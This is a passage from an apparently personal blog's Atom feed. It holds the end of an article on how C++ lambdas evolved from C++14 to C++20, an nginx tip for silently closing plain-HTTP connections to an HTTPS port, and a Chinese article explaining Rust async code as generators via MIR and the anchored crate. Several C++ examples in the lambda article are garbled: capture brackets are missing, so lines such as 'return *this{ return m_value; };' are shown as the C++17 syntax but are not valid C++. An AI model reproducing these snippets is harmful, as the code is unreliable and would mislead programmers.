&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In C++14 we can return a lambda by using &lt;code&gt;auto&lt;&#x2F;code&gt; as a return type. This is useful in the case of a big lambda sitting in the middle of a piece of code:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void f()
{
    &amp;#x2F;&amp;#x2F; ...
    int z = 42;
    auto myLambda = [z](int x)
                    {
                        &amp;#x2F;&amp;#x2F; ...
                        &amp;#x2F;&amp;#x2F; ...
                        &amp;#x2F;&amp;#x2F; ...
                    };
    &amp;#x2F;&amp;#x2F; ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can pack away the lambda in another function, thus introducing another &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.fluentcpp.com&#x2F;2016&#x2F;12&#x2F;15&#x2F;respect-levels-of-abstraction&#x2F;&quot;&gt;level of abstraction&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto getMyLambda(int z)
{
    return [z](int x)
           {
               &amp;#x2F;&amp;#x2F; ...
               &amp;#x2F;&amp;#x2F; ...
               &amp;#x2F;&amp;#x2F; ...
           };
}

void f()
{
    &amp;#x2F;&amp;#x2F; ...
    int z = 42;
    auto myLambda = getMyLambda(z);
    &amp;#x2F;&amp;#x2F; ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To know more about this technique, explore the fascinating topic of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.fluentcpp.com&#x2F;2020&#x2F;06&#x2F;05&#x2F;out-of-line-lambdas&#x2F;&quot;&gt;out-of-line lambdas&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lambdas-in-c-17&quot;&gt;Lambdas in C++17&lt;&#x2F;h3&gt;
&lt;p&gt;C++17 brought one major enhancement to lambdas: they can be declared &lt;code&gt;constexpr&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;constexpr auto times2 = [] (int n) { return n * 2; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Such lambdas can then be used in contexts evaluated at compile time:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;static_assert(times2(3) == 6);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is particularly useful in template programming.&lt;&#x2F;p&gt;
&lt;p&gt;Note though that &lt;code&gt;constexpr&lt;&#x2F;code&gt; lambdas become much more useful in C++20. Indeed, it is only in C++20 that &lt;code&gt;std::vector&lt;&#x2F;code&gt; and most &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.fluentcpp.com&#x2F;getthemap&#x2F;&quot;&gt;STL algorithms&lt;&#x2F;a&gt; become &lt;code&gt;constexpr&lt;&#x2F;code&gt; too, and they can be used with &lt;code&gt;constexpr&lt;&#x2F;code&gt; lambdas to create elaborate manipulations of collections evaluated at compile time.&lt;&#x2F;p&gt;
&lt;p&gt;There is an exception one container though: &lt;code&gt;std::array&lt;&#x2F;code&gt;.  The non-mutating access operations of &lt;code&gt;std::array&lt;&#x2F;code&gt; become &lt;code&gt;constexpr&lt;&#x2F;code&gt; as soon as C++14 and the mutating ones become &lt;code&gt;constexpr&lt;&#x2F;code&gt; in C++17.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;capturing-a-copy-of-this&quot;&gt;Capturing a copy of &lt;code&gt;*this&lt;&#x2F;code&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Another feature that lambdas got in C++17 is a simple syntax to capture a copy of &lt;code&gt;*this&lt;&#x2F;code&gt;. To illustrate, consider the following example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct MyType{
    int m_value;
    auto getLambda()
    {
        return this{ return m_value; };
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This lambda captures a copy of &lt;code&gt;this&lt;&#x2F;code&gt;, the pointer. This can lead to memory errors if the lambda outlives the object, for example in the following example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto lambda = MyType{42}.getLambda();
lambda();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since &lt;code&gt;MyType&lt;&#x2F;code&gt; is destroyed at the end of the first statement, calling &lt;code&gt;lambda&lt;&#x2F;code&gt; on the second statement dereferences &lt;code&gt;this&lt;&#x2F;code&gt; to access its &lt;code&gt;m_value&lt;&#x2F;code&gt;, but &lt;code&gt;this&lt;&#x2F;code&gt; points to a destroyed object. This leads to undefined behaviour, typically a crash of the application.&lt;&#x2F;p&gt;
&lt;p&gt;One possible way to solve that is to capture a copy of the whole object inside of the lambda. C++17 provides the following syntax to achieve that (note the &lt;code&gt;*&lt;&#x2F;code&gt; before &lt;code&gt;this&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct MyType
{
    int m_value;
    auto getLambda()
    {
        return *this{ return m_value; };
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that it was already possible to achieve the same result in C++14 with generalised capture:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct MyType
{
    int m_value;
    auto getLambda()
    {
        return self = *this{ return self.m_value; };
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;C++17 only makes the syntax nicer.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lambdas-in-c-20&quot;&gt;Lambdas in C++20&lt;&#x2F;h3&gt;
&lt;p&gt;Lambdas evolved in C++20, but with features arguably less fundamental than those of C++14 or C++17.&lt;&#x2F;p&gt;
&lt;p&gt;One enhancement of lambdas in C++20, that brings them even closer to manually defined function objects, is the classic syntax to define templates:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto myLambda = []&amp;lt;typename T&amp;gt;(T&amp;amp;&amp;amp; value){ std::cout &amp;lt;&amp;lt; value &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This makes it easier to access the template parameter type than the C++14 template lambdas that used expressions such as &lt;code&gt;auto&amp;amp;&amp;amp;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Another improvement is to be able to capture a variadic pack of parameters:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename... Ts&amp;gt;
void f(Ts&amp;amp;&amp;amp;... args)
{
    auto myLambda = ...args = std::forward&amp;lt;Ts&amp;gt;(args){};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dive-into-lambdas&quot;&gt;Dive into lambdas&lt;&#x2F;h3&gt;
&lt;p&gt;We’ve been over what I consider being the major improvements of lambdas from C++14 to C++20. But there is more to it. Those major features come along with quite a few little things that make lambda code simpler to write.&lt;&#x2F;p&gt;
&lt;p&gt;Diving into lambdas is a great opportunity to get a better understanding of the C++ language, and I think it’s a worthwhile investment of time. To go further, the best resource I know of is Bartek’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;leanpub.com&#x2F;cpplambda&quot;&gt;C++ Lambda Story&lt;&#x2F;a&gt; book, which I recommend.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>nginx only deal with https and ignore http</title>
        <published>2024-07-31T00:00:00+00:00</published>
        <updated>2024-07-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/nginx-only-deal-with-https-and-ignore-http/"/>
        <id>https://vercel.juzhong.asia/obsidian/nginx-only-deal-with-https-and-ignore-http/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/nginx-only-deal-with-https-and-ignore-http/">&lt;h1 id=&quot;su-qiu&quot;&gt;诉求&lt;&#x2F;h1&gt;
&lt;p&gt;I have a private HTTPS server using nginx. Therefore, I don&#x27;t care about browser compatibility nor HTTP to HTTPS redirection; I just want it to work in my environment and nowhere else. I have already configured it with &quot;listen 17648 ssl;&quot;. Whenever I try to connect to it using plain HTTP, I get the infamous &quot;The plain HTTP request was sent to HTTPS port&quot; response.&lt;&#x2F;p&gt;
&lt;p&gt;Is there any way to prevent nginx from sending any response at all when a HTTP request is sent to a HTTPS port? I would like nginx to simply close the connection if the request is not SSL, or maybe return some SSL-level error but no plain HTTP response at all, not even an error response.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-an&quot;&gt;方案&lt;&#x2F;h1&gt;
&lt;p&gt;From Nginx documentation about the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;nginx.org&#x2F;en&#x2F;docs&#x2F;http&#x2F;ngx_http_rewrite_module.html#return&quot;&gt;return&lt;&#x2F;a&gt; clause:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The non-standard code 444 closes a connection without sending a response header.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So I&#x27;ve tried to catch the error 497 &quot;HTTP to HTTPS&quot; and tried to return the 444 this way:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;error_page 497 =444 @close;

location @close {
   return 444;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unfortunately this leads to a &quot;pending&quot; state due to this &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;trac.nginx.org&#x2F;nginx&#x2F;ticket&#x2F;274&quot;&gt;bug&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Using the workaround proposed by the developer it seems to work:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;error_page 497 =444 @close;

location @close {
   return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Try if this fits your needs!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>从 generator 的角度看 Rust 异步代码</title>
        <published>2024-07-31T00:00:00+00:00</published>
        <updated>2024-07-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/从-generator-的角度看-rust-异步代码/"/>
        <id>https://vercel.juzhong.asia/obsidian/从-generator-的角度看-rust-异步代码/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/从-generator-的角度看-rust-异步代码/">&lt;h1 id=&quot;cong-generator-de-jiao-du-kan-rust-yi-bu-dai-ma&quot;&gt;从 generator 的角度看 Rust 异步代码&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前 言&lt;&#x2F;h2&gt;
&lt;p&gt;作为 2018 edition 一个比较重要的特性 Rust 的异步编程现在已经得到了广泛的使用。使用的时候难免会好奇它是如何运作的，这篇文章尝试从 generator 以及变量捕获的方面进行探索，而后介绍了在嵌入式时序存储引擎 ceresdb-helix 的研发过程中遇到的一个场景。&lt;&#x2F;p&gt;
&lt;p&gt;囿于作者水平内容难免存在一些错漏之处，还烦请留言告知。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;part-1-async-await-coroutine-and-generator&quot;&gt;PART. 1 async&#x2F;.await, coroutine and generator&lt;&#x2F;h2&gt;
&lt;p&gt;async&#x2F;.await 语法在 1.39 版本[1]进入 stable channel，它能够很方便地编写异步代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;async fn foo() { let x: usize = 233; asynchronous().await; println!(&amp;quot;{}&amp;quot;, x);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在上面的示例中，局部变量 x 能够直接在一次异步过程（fn asynchoronous）之后使用，和写同步代码一样。而在这之前，异步代码一般是通过类似 futures 0.1[2] 形式的组合子来使用，想要给接下来 (如 and_then()) 的异步过程的使用的局部变量需要被显式手动地以闭包出入参的方式链式处理，体验不是特别好。&lt;&#x2F;p&gt;
&lt;p&gt;async&#x2F;.await 所做的实际上就是将代码变换一下，变成 generator&#x2F;coroutine[3] 的形式去执行。一个 coroutine 过程可以被挂起，去做一些别的事情然后再继续恢复执行，目前用起来就是 .await 的样子。以上面的代码为例，在异步过程 foo()中调用了另一个异步过程 asynchronous() ，在第七行的 .await 时当前过程的执行被挂起，等到可以继续执行的时候再被恢复。&lt;&#x2F;p&gt;
&lt;p&gt;而恢复执行可能需要之前的一些信息，如在 foo()中我们在第八行用到了之前的信息 x。也就是说 async 过程要有能力保存一些内部局部状态，使得它们能够在 .await 之后被继续使用。换句话说要在 generator state 里面保存可能在 yield 之后被使用的局部变量。这里需要引入 pin[4] 机制解决可能出现的自引用问题，这部分不再赘述。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;part-2-visualize-generator-via-mir&quot;&gt;PART. 2 visualize generator via MIR&lt;&#x2F;h2&gt;
&lt;p&gt;我们可以透过 MIR[5]来看一下前面提到的 generator 是什么样子的。MIR 是 Rust 的一个中间表示，基于控制流图 CFG[6]表示。CFG 能够比较直观地展示程序执行起来大概是什么样子，MIR 在有时不清楚你的 Rust 代码到底变成了什么样子的时候能够起到一些帮助。&lt;&#x2F;p&gt;
&lt;p&gt;想要得到代码的 MIR 表示有几种方法，假如现在手边有一个可用的 Rust toolchain，可以像这样传递一个环境变量给 rustc ，再使用 cargo 进行构建来产生 MIR：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;RUSTFLAGS=&amp;quot;--emit mir&amp;quot; cargo build
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;构建成功的话会在 target&#x2F;debug&#x2F;deps&#x2F; 目录下生成一个 .mir 的文件。或者也能通过 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;play.rust-lang.org&#x2F;&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fplay.rust-lang.org%2F&quot;&gt;play.rust-lang.org&#x2F;&lt;&#x2F;a&gt; 来获取 MIR，在 Run 旁边的溢出菜单上选择 MIR 就可以。&lt;&#x2F;p&gt;
&lt;p&gt;由 2021-08 nightly 的 toolchain 所产生的 MIR 大概是这个样子的，有许多不认识的东西可以不用管，大概知道一下。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;_0, _1 这些是变量&lt;&#x2F;li&gt;
&lt;li&gt;有许多语法和 Rust 差不多，如类型注解，函数定义及调用和注释等就行了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn future_1() -&amp;gt; impl Future {
    let mut _0: impl std::future::Future; &amp;#x2F;&amp;#x2F; return place in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:21
    let mut _1: [static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]; &amp;#x2F;&amp;#x2F; in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23

    bb0: {
        discriminant(_1) = 0; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
        _0 = from_generator::&amp;lt;[static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]&amp;gt;(move _1) -&amp;gt; bb1; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
                                         &amp;#x2F;&amp;#x2F; mir::Constant
                                         &amp;#x2F;&amp;#x2F; + span: src&amp;#x2F;anchored.rs:27:21: 27:23
                                         &amp;#x2F;&amp;#x2F; + literal: Const { ty: fn([static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]) -&amp;gt; impl std::future::Future {std::future::from_generator::&amp;lt;[static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]&amp;gt;}, val: Value(Scalar(&amp;lt;ZST&amp;gt;)) }
    }

    bb1: {
        return; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:23: 27:23
    }
}

fn future_1::{closure#0}(_1: Pin&amp;lt;&amp;amp;mut [static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]&amp;gt;, _2: ResumeTy) -&amp;gt; GeneratorState&amp;lt;(), ()&amp;gt; {
    debug _task_context =&amp;gt; _4; &amp;#x2F;&amp;#x2F; in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    let mut _0: std::ops::GeneratorState&amp;lt;(), ()&amp;gt;; &amp;#x2F;&amp;#x2F; return place in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    let mut _3: (); &amp;#x2F;&amp;#x2F; in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    let mut _4: std::future::ResumeTy; &amp;#x2F;&amp;#x2F; in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    let mut _5: u32; &amp;#x2F;&amp;#x2F; in scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23

    bb0: {
        _5 = discriminant((*(_1.0: &amp;amp;mut [static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]))); &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
        switchInt(move _5) -&amp;gt; [0_u32: bb1, 1_u32: bb2, otherwise: bb3]; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    }

    bb1: {
        _4 = move _2; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
        _3 = const (); &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
        ((_0 as Complete).0: ()) = move _3; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:23: 27:23
        discriminant(_0) = 1; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:23: 27:23
        discriminant((*(_1.0: &amp;amp;mut [static generator@src&amp;#x2F;anchored.rs:27:21: 27:23]))) = 1; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:23: 27:23
        return; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:23: 27:23
    }

    bb2: {
        assert(const false, &amp;quot;`async fn` resumed after completion&amp;quot;) -&amp;gt; bb2; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    }

    bb3: {
        unreachable; &amp;#x2F;&amp;#x2F; scope 0 at src&amp;#x2F;anchored.rs:27:21: 27:23
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个 demo crate 中还有一些别的代码，不过对应上面的 MIR 的源码比较简单：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;async fn future_1() {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只是一个简单的空的异步函数，可以看到生成的 MIR 会膨胀很多，如果内容稍微多一点的话通过文本形式不太好看。我们可以指定一下生成的 MIR 的格式，然后将它可视化。&lt;&#x2F;p&gt;
&lt;p&gt;步骤大概如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;RUSTFLAGS=&amp;quot;--emit mir -Z dump-mir=F -Z dump-mir-dataflow -Z unpretty=mir-cfg&amp;quot; cargo build &amp;gt; mir.dot
dot -T svg -o mir.svg mir.dot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;能够在当前目录下找到 mir.svg，打开之后可以看到一个像流程图的东西（另一幅差不多的图省略掉了，有兴趣的可以尝试通过上面的方法自己生成一份）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-async-generator&#x2F;rust-generator-mir-cfg.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里将 MIR 按照基本单位 basic block (bb) 组织，原本的信息都在，并且将各个 basic block 之间的跳转关系画了出来。从上面的图中我们可以看到四个 basic blocks，其中一个是起点，另外三个是终点。首先起点的 bb0 switch（match in rust）了一个变量 _5，按照不同的值分支到不同的 blocks。能大概想象一下这样的代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;match _5 {
  0: jump(bb1),
    1: jump(bb2),
    _ =&amp;gt; unreachable()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而 generator 的 state 可以当成就是那个 _5，不同的值就是这个 generator 的各个状态。future_1 的状态写出来大概是这样&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;enum Future1State {
    Start,
    Finished,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果是 §1 中的 async fn foo()，可能还会多一个枚举值来表示那一次 yield。此时再想之前的问题，就能够很自然地想到要跨越 generator 不同阶段的变量需要如何保存了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;enum FooState {
    Start,
    Yield(usize),
    Finished,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;part-3-generator-captured&quot;&gt;PART. 3 generator captured&lt;&#x2F;h2&gt;
&lt;p&gt;让我们把保存在 generator state 中，能够跨越 .await&#x2F;yield 被后续阶段使用的变量称为被捕获的变量。那么能不能知道到底哪些变量实际上被捕获了呢？让我们试一试，首先写一个稍微复杂一点的异步函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;async fn complex() {
    let x = 0;
    future_1().await;
    let y = 1;
    future_1().await;
    println!(&amp;quot;{}, {}&amp;quot;, x, y);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的 MIR 及 svg 比较复杂，截取了一段放在了附录中，可以尝试自己生成一份完整的内容。&lt;&#x2F;p&gt;
&lt;p&gt;稍微浏览一下生成的内容，我们可以看到一个很长的类型总是出现，像是这样子的东西：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;[static generator@src&amp;#x2F;anchored.rs:27:20: 33:2]
&amp;#x2F;&amp;#x2F; or
(((*(_1.0: &amp;amp;mut [static generator@src&amp;#x2F;anchored.rs:27:20: 33:2])) as variant#3).0: i32)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对照我们代码的位置可以发现这个类型中所带的两个文件位置就是我们异步函数 complex()的首尾两个大括号，这个类型是一个跟我们这整个异步函数相关的类型。&lt;&#x2F;p&gt;
&lt;p&gt;通过更进一步的探索我们大概能猜一下，上面代码片段中第一行的是一个实现了 Generator trait[7] 的匿名类型（struct），而 &quot;as variant#3&quot; 是 MIR 中的一个操作，Projection 的 Projection::Downcast，大概在这里[8]生成。在这个 downcast 之后所做的 projection 的到的类型是我们认识的 i32。综合其他类似的片段我们能够推测这个匿名类型和前面描述的 generator state 是差不多的东西，而各个 variant 是不同的状态元组，投影这个 N 元组能够拿到被捕获的局部变量。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;part-4-anchored&quot;&gt;PART. 4 anchored&lt;&#x2F;h2&gt;
&lt;p&gt;知道哪些变量会被捕获能够帮助我们理解自己的代码，也能够基于这些信息进行一些应用。&lt;&#x2F;p&gt;
&lt;p&gt;先提一下 Rust 类型系统中特殊的一种东西 auto trait[9] 。最常见的就是 Send 和 Sync，这种 auto trait 会自动为所有的类型实现，除非显式地用 negative impl opt-out，并且 negative impl 会传递，如包含了 !Send 的 Rc 结构也是 !Send 的。通过 auto trait 和 negative impl 我们控制一些结构的类型，并让编译器帮忙检查。&lt;&#x2F;p&gt;
&lt;p&gt;比如 anchored[10] crate 就是提供了通过 auto trait 和 generator 捕获机制所实现的一个小工具，它能够阻止异步函数中指定的变量穿过 .await 点。比较有用的一个场景就是异步过程中关于变量内部可变性的获取。&lt;&#x2F;p&gt;
&lt;p&gt;通常来说，我们会通过异步锁如 tokio::sync::Mutex 来提供变量的内部可变性；如果这个变量不会穿过 .await point 即被 generator state 捕获，那么 std::sync::Mutex 这种同步锁或者 RefCell 也能使用；如果想要更高的性能，避免这两者运行时的开销，那也能够考虑 UnsafeCell 或其他 unsafe 手段，但是就有一点危险了。而通过 anchored 我们可以在这种场景下控制不安全因素，实现一个安全的方法来提供内部可变性，只要将变量通过 anchored::Anchored 这个 ZST 进行标记，再给整个 async fn 带上一个 attribute 就能够让编译器帮我们确认没有东西错误地被捕获并穿越了 .await、然后导致灾难性的数据竞争。&lt;&#x2F;p&gt;
&lt;p&gt;就像这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[unanchored]
async fn foo(){
    {
        let bar = Anchored::new(Bar {});
    }
    async_fn().await;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而这种就会导致编译错误：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[unanchored]
async fn foo(){
    let bar = Anchored::new(Bar {});
    async_fn().await;
    drop(bar);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于 std 的 Mutex, Ref 和 RefMut 等常见类型，clippy 提供了两个 lints[11] ，它们也是通过分析 generator 的类型来实现的。并且与 anchored 一样都有一个缺点，在除了像上面那样明确使用单独的 block 放置变量外，都会出现 false positive 的情况[12]。因为局部变量在其他的形式下都会被记录下来[13]，导致信息被污染。&lt;&#x2F;p&gt;
&lt;p&gt;anchored 目前还缺少一些 ergonomic 的接口，attribute macro 和 ecosystem 的其他工具交互的时候也存在一点问题，欢迎感兴趣的小伙伴来了解一下 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;waynexia&#x2F;anchored&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fgithub.com%2Fwaynexia%2Fanchored&quot;&gt;github.com&#x2F;waynexia&#x2F;an…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;文档：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;anchored&#x2F;0.1.0&#x2F;anchored&#x2F;&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdocs.rs%2Fanchored%2F0.1.0%2Fanchored%2F&quot;&gt;docs.rs&#x2F;anchored&#x2F;0.…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;「参 考」&lt;&#x2F;p&gt;
&lt;p&gt;[1]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2019&#x2F;11&#x2F;07&#x2F;Async-await-stable.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fblog.rust-lang.org%2F2019%2F11%2F07%2FAsync-await-stable.html&quot;&gt;blog.rust-lang.org&#x2F;2019&#x2F;11&#x2F;07&#x2F;…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[2]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;futures&#x2F;0.1.21&#x2F;futures&#x2F;&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdocs.rs%2Ffutures%2F0.1.21%2Ffutures%2F&quot;&gt;docs.rs&#x2F;futures&#x2F;0.1…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
